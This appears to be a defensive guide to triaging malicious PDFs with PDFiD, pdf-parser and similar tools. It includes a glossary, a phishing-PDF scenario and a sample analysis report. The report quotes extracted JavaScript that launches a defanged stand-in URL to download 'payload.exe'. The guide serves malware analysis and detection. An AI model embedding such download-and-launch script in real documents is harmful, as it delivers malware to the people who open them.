malware-pdf-pdfid

| | PDF Object | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects | | OpenAction | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits | | PDF Stream | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed | | FlateDecode | Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents | | ObjStm (Object Stream) | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers | | JBIG2 | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) | | PDF JavaScript API | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |

Tools & Systems

• PDFiD: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
• pdf-parser: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
• peepdf: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
• QPDF: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
• scdbg: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls

Common Scenarios

Scenario: Triaging a Phishing PDF with Embedded JavaScript

Context: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.

Approach:

1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
2. Use pdf-parser to extract the OpenAction object and follow its reference chain
3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
6. Extract all URLs, IPs, and embedded files as IOCs
7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)

Pitfalls:

• Opening the PDF in a standard reader instead of analyzing it with command-line tools
• Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
• Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
• Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)

Output Format

PDF MALWARE ANALYSIS REPORT
==============================
File:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Size:        45,312 bytes
PDF Version:      1.7

PDFID TRIAGE
/JS:              1  [HIGH RISK]
/JavaScript:      1  [HIGH RISK]
/OpenAction:      1  [HIGH RISK]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [OBFUSCATION]

SUSPICIOUS OBJECTS
Object 5:        /OpenAction -> references Object 8
Object 8:        /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12:       /ObjStm containing objects 15-18

EXTRACTED JAVASCRIPT
Layer 1:          eval(unescape("%68%65%6C%6C%6F"))
Layer 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // Social engineering redirect, not exploit

EXTRACTED IOCs
URLs:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
Domains:          malicious[.]com, fake-login[.]com

CLASSIFICATION
Type:             Social Engineering (URL redirect)
CVE:              None (no exploit code detected)
Risk:             HIGH (downloads executable payload)
Family:           Generic PDF Dropper